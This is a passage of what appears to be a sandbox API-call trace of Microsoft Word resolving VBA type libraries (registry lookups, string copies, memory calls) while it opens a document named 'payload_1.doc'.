ITypeLib:RemoteIsName (in: This=0x2764b6d0130, szNameBuf="WMPLib", lHashVal=0x40dafe, pfName=0xb5690f3eb0, pBstrLibName=0xb5690f3de0 | out: pfName=0xb5690f3eb0*=0, pBstrLibName=0xb5690f3de0) returned 0x0 [0094.054] IUnknown:Release (This=0x2764b6d0130) returned 0x1 [0094.054] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x54) returned 0x2764b15dfb0 [0094.054] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27645551490) [0094.054] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad49810 [0094.054] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad49810, cb=0x80) returned 0x2764afa4110 [0094.054] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b15dfb0) [0094.055] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x96) returned 0x2764b1b04b0 [0094.055] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1b04b0) [0094.056] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x87) returned 0x2764afa3390 [0094.056] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa3390) [0094.056] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0xeaa) returned 0x0 [0094.056] RegOpenKeyW (in: hKey=0xeaa, lpSubKey="{000204EF-0000-0000-C000-000000000046}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12ba) returned 0x0 [0094.056] RegEnumKeyW (in: hKey=0x12ba, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.1") returned 0x0 [0094.057] RegEnumKeyW (in: hKey=0x12ba, dwIndex=0x1, lpName=0xb5690f3c58, cchName=0xa | out: lpName="4.2") returned 0x0 [0094.057] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="4.2" | out: _Destination="4.2") returned 0x0 [0094.057] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="4.2", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12c6) returned 0x0 [0094.057] _ultoa_s (in: _Val=0x9, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="9") returned 0x0 [0094.057] RegOpenKeyA (in: hKey=0x12c6, lpSubKey="9", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12c2) returned 0x0 [0094.057] RegOpenKeyW (in: hKey=0x12c2, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12ca) returned 0x0 [0094.057] RegCloseKey (hKey=0x12ca) returned 0x0 [0094.057] RegCloseKey (hKey=0x12c2) returned 0x0 [0094.057] _ultow_s (in: _Value=0x9, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="9") returned 0x0 [0094.057] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="9", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12c2) returned 0x0 [0094.058] RegQueryValueW (in: hKey=0x12c2, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", lpcbData=0xb5690f3cc4) returned 0x0 [0094.058] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0094.058] RegCloseKey (hKey=0x12c2) returned 0x0 [0094.058] RegCloseKey (hKey=0x12c6) returned 0x0 [0094.058] RegCloseKey (hKey=0x12ba) returned 0x0 [0094.058] RegCloseKey (hKey=0xeaa) returned 0x0 [0094.058] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0xeaa) returned 0x0 [0094.058] RegOpenKeyW (in: hKey=0xeaa, lpSubKey="{00020905-0000-0000-C000-000000000046}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0xeba) returned 0x0 [0094.058] RegEnumKeyW (in: hKey=0xeba, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="8.7") returned 0x0 [0094.059] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="8.7" | out: _Destination="8.7") returned 0x0 [0094.059] RegOpenKeyW (in: hKey=0xeba, lpSubKey="8.7", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12c2) returned 0x0 [0094.059] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0094.059] RegOpenKeyA (in: hKey=0x12c2, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12ce) returned 0x0 [0094.059] RegOpenKeyW (in: hKey=0x12ce, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12d6) returned 0x0 [0094.059] RegCloseKey (hKey=0x12d6) returned 0x0 [0094.059] RegCloseKey (hKey=0x12ce) returned 0x0 [0094.059] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.059] RegOpenKeyW (in: hKey=0x12c2, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12ca) returned 0x0 [0094.059] RegQueryValueW (in: hKey=0x12ca, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB", lpcbData=0xb5690f3cc4) returned 0x0 [0094.060] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0094.060] RegCloseKey (hKey=0x12ca) returned 0x0 [0094.060] RegCloseKey (hKey=0x12c2) returned 0x0 [0094.060] RegCloseKey (hKey=0xeba) returned 0x0 [0094.060] RegCloseKey (hKey=0xeaa) returned 0x0 [0094.060] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0xeaa) returned 0x0 [0094.060] RegOpenKeyW (in: hKey=0xeaa, lpSubKey="{00020430-0000-0000-C000-000000000046}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0xeba) returned 0x0 [0094.060] RegEnumKeyW (in: hKey=0xeba, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="1.0") returned 0x0 [0094.060] RegEnumKeyW (in: hKey=0xeba, dwIndex=0x1, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.0") returned 0x0 [0094.061] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0094.061] RegOpenKeyW (in: hKey=0xeba, lpSubKey="2.0", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12ba) returned 0x0 [0094.061] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0094.061] RegOpenKeyA (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12c2) returned 0x0 [0094.061] RegOpenKeyW (in: hKey=0x12c2, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12c6) returned 0x0 [0094.061] RegCloseKey (hKey=0x12c6) returned 0x0 [0094.061] RegCloseKey (hKey=0x12c2) returned 0x0 [0094.061] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.061] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12c2) returned 0x0 [0094.061] RegQueryValueW (in: hKey=0x12c2, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Windows\\System32\\stdole2.tlb", lpcbData=0xb5690f3cc4) returned 0x0 [0094.061] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Windows\\System32\\stdole2.tlb" | out: _Destination="C:\\Windows\\System32\\stdole2.tlb") returned 0x0 [0094.061] RegCloseKey (hKey=0x12c2) returned 0x0 [0094.061] RegCloseKey (hKey=0x12ba) returned 0x0 [0094.062] RegCloseKey (hKey=0xeba) returned 0x0 [0094.062] RegCloseKey (hKey=0xeaa) returned 0x0 [0094.062] _wfullpath (in: _Buffer=0xb5690f3fc0, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop\\Normal") returned="C:\\Users\\FD1HVy\\Desktop\\Normal" [0094.062] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0xeaa) returned 0x0 [0094.062] RegOpenKeyW (in: hKey=0xeaa, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12ba) returned 0x0 [0094.062] RegEnumKeyW (in: hKey=0x12ba, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.6") returned 0x0 [0094.062] RegEnumKeyW (in: hKey=0x12ba, dwIndex=0x1, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.7") returned 0x0 [0094.062] RegEnumKeyW (in: hKey=0x12ba, dwIndex=0x2, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.8") returned 0x0 [0094.063] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0094.063] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="2.8", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12c6) returned 0x0 [0094.063] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0094.063] RegOpenKeyA (in: hKey=0x12c6, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12ce) returned 0x0 [0094.063] RegOpenKeyW (in: hKey=0x12ce, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12d6) returned 0x0 [0094.063] RegCloseKey (hKey=0x12d6) returned 0x0 [0094.063] RegCloseKey (hKey=0x12ce) returned 0x0 [0094.063] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.063] RegOpenKeyW (in: hKey=0x12c6, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12ca) returned 0x0 [0094.063] RegQueryValueW (in: hKey=0x12ca, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0xb5690f3cc4) returned 0x0 [0094.064] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0094.064] RegCloseKey (hKey=0x12ca) returned 0x0 [0094.064] RegCloseKey (hKey=0x12c6) returned 0x0 [0094.064] RegCloseKey (hKey=0x12ba) returned 0x0 [0094.064] RegCloseKey (hKey=0xeaa) returned 0x0 [0094.064] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0xeaa) returned 0x0 [0094.064] RegOpenKeyW (in: hKey=0xeaa, lpSubKey="{0D452EE1-E08F-101A-852E-02608C4D0BB4}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0xeba) returned 0x0 [0094.064] RegEnumKeyW (in: hKey=0xeba, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.0") returned 0x0 [0094.064] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="2.0" | out: _Destination="2.0") returned 0x0 [0094.065] RegOpenKeyW (in: hKey=0xeba, lpSubKey="2.0", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12c2) returned 0x0 [0094.065] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0094.065] RegOpenKeyA (in: hKey=0x12c2, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12ce) returned 0x0 [0094.065] RegOpenKeyW (in: hKey=0x12ce, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12d6) returned 0x0 [0094.065] RegCloseKey (hKey=0x12d6) returned 0x0 [0094.065] RegCloseKey (hKey=0x12ce) returned 0x0 [0094.065] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.065] RegOpenKeyW (in: hKey=0x12c2, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12ca) returned 0x0 [0094.065] RegQueryValueW (in: hKey=0x12ca, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\WINDOWS\\system32\\FM20.DLL", lpcbData=0xb5690f3cc4) returned 0x0 [0094.066] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\WINDOWS\\system32\\FM20.DLL" | out: _Destination="C:\\WINDOWS\\system32\\FM20.DLL") returned 0x0 [0094.066] RegCloseKey (hKey=0x12ca) returned 0x0 [0094.066] RegCloseKey (hKey=0x12c2) returned 0x0 [0094.066] RegCloseKey (hKey=0xeba) returned 0x0 [0094.066] RegCloseKey (hKey=0xeaa) returned 0x0 [0094.066] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0xeaa) returned 0x0 [0094.066] RegOpenKeyW (in: hKey=0xeaa, lpSubKey="{6BF52A50-394A-11D3-B153-00C04F79FAA6}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0xeba) returned 0x0 [0094.066] RegEnumKeyW (in: hKey=0xeba, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="1.0") returned 0x0 [0094.067] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="1.0" | out: _Destination="1.0") returned 0x0 [0094.067] RegOpenKeyW (in: hKey=0xeba, lpSubKey="1.0", phkResult=0xb5690f3ce8 | out: phkResult=0xb5690f3ce8*=0x12ba) returned 0x0 [0094.067] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3c60, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0094.067] RegOpenKeyA (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3c50 | out: phkResult=0xb5690f3c50*=0x12c2) returned 0x0 [0094.067] RegOpenKeyW (in: hKey=0x12c2, lpSubKey="win64", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x0) returned 0x2 [0094.067] RegOpenKeyW (in: hKey=0x12c2, lpSubKey="win32", phkResult=0xb5690f3c58 | out: phkResult=0xb5690f3c58*=0x12c6) returned 0x0 [0094.068] RegCloseKey (hKey=0x12c6) returned 0x0 [0094.068] RegCloseKey (hKey=0x12c2) returned 0x0 [0094.068] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3cf0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.068] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3cc8 | out: phkResult=0xb5690f3cc8*=0x12c2) returned 0x0 [0094.068] RegQueryValueW (in: hKey=0x12c2, lpSubKey="win64", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\WINDOWS\\system32\\FM20.DLL", lpcbData=0xb5690f3cc4) returned 0x2 [0094.068] RegQueryValueW (in: hKey=0x12c2, lpSubKey="win32", lpData=0xb5690f3d10, lpcbData=0xb5690f3cc4 | out: lpData="C:\\WINDOWS\\system32\\wmp.dll", lpcbData=0xb5690f3cc4) returned 0x0 [0094.068] wcscpy_s (in: _Destination=0xb5690f3fc0, _SizeInWords=0x104, _Source="C:\\WINDOWS\\system32\\wmp.dll" | out: _Destination="C:\\WINDOWS\\system32\\wmp.dll") returned 0x0 [0094.068] RegCloseKey (hKey=0x12c2) returned 0x0 [0094.068] RegCloseKey (hKey=0x12ba) returned 0x0 [0094.068] RegCloseKey (hKey=0xeba) returned 0x0 [0094.068] RegCloseKey (hKey=0xeaa) returned 0x0 [0094.069] wcsncpy_s (in: _Destination=0x2764ad9be78, _SizeInWords=0x97, _Source="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _MaxCount=0x30 | out: _Destination="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#") returned 0x0 [0094.069] wcscpy_s (in: _Destination=0x2764ad9bed8, _SizeInWords=0x67, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll" | out: _Destination="C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll") returned 0x0 [0094.069] wcscpy_s (in: _Destination=0x2764ad9bf6c, _SizeInWords=0x1d, _Source="#MSExchange 1.0 Type Library" | out: _Destination="#MSExchange 1.0 Type Library") returned 0x0 [0094.069] wcscpy_s (in: _Destination=0x2764b6329a0, _SizeInWords=0x97, _Source="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library" | out: _Destination="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library") returned 0x0 [0094.069] wcsncpy_s (in: _Destination=0xb5690f3ed0, _SizeInWords=0x108, _Source="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _MaxCount=0x106 | out: _Destination="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library") returned 0x0 [0094.069] CharLowerBuffW (in: lpsz="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", cchLength=0x96 | out: lpsz="*\\g{0af7f3be-8ea9-4816-889e-3ed22871fe05}#1.0#0#c:\\program files (x86)\\microsoft office\\office14\\addins\\umoutlookaddin.dll#msexchange 1.0 type library") returned 0x96 [0094.069] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x12e) returned 0x2764b686360 [0094.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{0af7f3be-8ea9-4816-889e-3ed22871fe05}#1.0#0#c:\\program files (x86)\\microsoft office\\office14\\addins\\umoutlookaddin.dll#msexchange 1.0 type library", cchWideChar=151, lpMultiByteStr=0x2764b686360, cbMultiByte=302, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{0af7f3be-8ea9-4816-889e-3ed22871fe05}#1.0#0#c:\\program files (x86)\\microsoft office\\office14\\addins\\umoutlookaddin.dll#msexchange 1.0 type library", lpUsedDefaultChar=0x0) returned 151 [0094.069] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b686360) [0094.069] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b524800, cb=0x1100) returned 0x2764b710920 [0094.069] wcscpy_s (in: _Destination=0x2764b711108, _SizeInWords=0x97, _Source="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library" | out: _Destination="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library") returned 0x0 [0094.069] wcsncpy_s (in: _Destination=0xb5690f3f10, _SizeInWords=0x108, _Source="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", _MaxCount=0x106 | out: _Destination="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library") returned 0x0 [0094.069] CharLowerBuffW (in: lpsz="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library", cchLength=0x96 | out: lpsz="*\\g{0af7f3be-8ea9-4816-889e-3ed22871fe05}#1.0#0#c:\\program files (x86)\\microsoft office\\office14\\addins\\umoutlookaddin.dll#msexchange 1.0 type library") returned 0x96 [0094.069] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x12e) returned 0x2764b683f20 [0094.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{0af7f3be-8ea9-4816-889e-3ed22871fe05}#1.0#0#c:\\program files (x86)\\microsoft office\\office14\\addins\\umoutlookaddin.dll#msexchange 1.0 type library", cchWideChar=151, lpMultiByteStr=0x2764b683f20, cbMultiByte=302, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{0af7f3be-8ea9-4816-889e-3ed22871fe05}#1.0#0#c:\\program files (x86)\\microsoft office\\office14\\addins\\umoutlookaddin.dll#msexchange 1.0 type library", lpUsedDefaultChar=0x0) returned 151 [0094.069] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b683f20) [0094.069] wcsncpy_s (in: _Destination=0xb5690f3ed0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0094.069] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0094.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3e00, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0094.069] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0094.069] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0094.069] wcscpy_s (in: _Destination=0x2764b632ad0, _SizeInWords=0x88, _Source="*\\G{2EA3277C-40F0-49F5-801A-B74F4FD03A1C}#1.0#0#C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd#MSExchange 1.0 Type Library" | out: _Destination="*\\G{2EA3277C-40F0-49F5-801A-B74F4FD03A1C}#1.0#0#C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0\\MSExchangeLib.exd#MSExchange 1.0 Type Library") returned 0x0 [0094.070] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1000) returned 0x276455a2790 [0094.070] wcscpy_s (in: _Destination=0x2764ad9be78, _SizeInWords=0x97, _Source="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library" | out: _Destination="*\\G{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}#1.0#0#C:\\Program Files (x86)\\Microsoft Office\\Office14\\ADDINS\\UmOutlookAddin.dll#MSExchange 1.0 Type Library") returned 0x0 [0094.070] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3ac0 | out: phkResult=0xb5690f3ac0*=0xeaa) returned 0x0 [0094.070] RegOpenKeyW (in: hKey=0xeaa, lpSubKey="{0AF7F3BE-8EA9-4816-889E-3ED22871FE05}", phkResult=0xb5690f3ab8 | out: phkResult=0xb5690f3ab8*=0xeba) returned 0x0 [0094.070] RegEnumKeyW (in: hKey=0xeba, dwIndex=0x0, lpName=0xb5690f3ae8, cchName=0xa | out: lpName="1.0") returned 0x0 [0094.070] wcscpy_s (in: _Destination=0xb5690f3ad0, _SizeInWords=0xa, _Source="1.0" | out: _Destination="1.0") returned 0x0 [0094.070] RegOpenKeyW (in: hKey=0xeba, lpSubKey="1.0", phkResult=0xb5690f3b78 | out: phkResult=0xb5690f3b78*=0x12ba) returned 0x0 [0094.070] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f3af0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0094.070] RegOpenKeyA (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3ae0 | out: phkResult=0xb5690f3ae0*=0x12c2) returned 0x0 [0094.071] RegOpenKeyW (in: hKey=0x12c2, lpSubKey="win64", phkResult=0xb5690f3ae8 | out: phkResult=0xb5690f3ae8*=0x12c6) returned 0x0 [0094.071] RegCloseKey (hKey=0x12c6) returned 0x0 [0094.071] RegCloseKey (hKey=0x12c2) returned 0x0 [0094.071] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3b80, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0094.071] RegOpenKeyW (in: hKey=0x12ba, lpSubKey="0", phkResult=0xb5690f3b58 | out: phkResult=0xb5690f3b58*=0x12c2) returned 0x0 [0094.071] RegQueryValueW (in: hKey=0x12c2, lpSubKey="win64", lpData=0xb5690f3ba0, lpcbData=0xb5690f3b54 | out: lpData="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll", lpcbData=0xb5690f3b54) returned 0x0 [0094.071] wcscpy_s (in: _Destination=0x276455a2790, _SizeInWords=0x800, _Source="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll" | out: _Destination="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll") returned 0x0 [0094.071] RegCloseKey (hKey=0x12c2) returned 0x0 [0094.071] RegCloseKey (hKey=0x12ba) returned 0x0 [0094.071] RegCloseKey (hKey=0xeba) returned 0x0 [0094.071] RegCloseKey (hKey=0xeaa) returned 0x0 [0094.072] LoadTypeLib (in: szFile="C:\\Program Files\\Microsoft Office\\Root\\Office16\\ADDINS\\UmOutlookAddin.dll", pptlib=0xb5690f41c8*=0x0 | out: pptlib=0xb5690f41c8*=0x2764b6d0970) returned 0x0 [0094.230] IUnknown:QueryInterface (in: This=0x2764b6d0970, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3fc8 | out: ppvObject=0xb5690f3fc8*=0x0) returned 0x80004002 [0094.230] ITypeLib:RemoteGetLibAttr (in: This=0x2764b6d0970, ppTLibAttr=0xb5690f3fc0, pDummy=0xb5690f3fc8 | out: ppTLibAttr=0xb5690f3fc0, pDummy=0xb5690f3fc8*=0x0) returned 0x0 [0094.230] 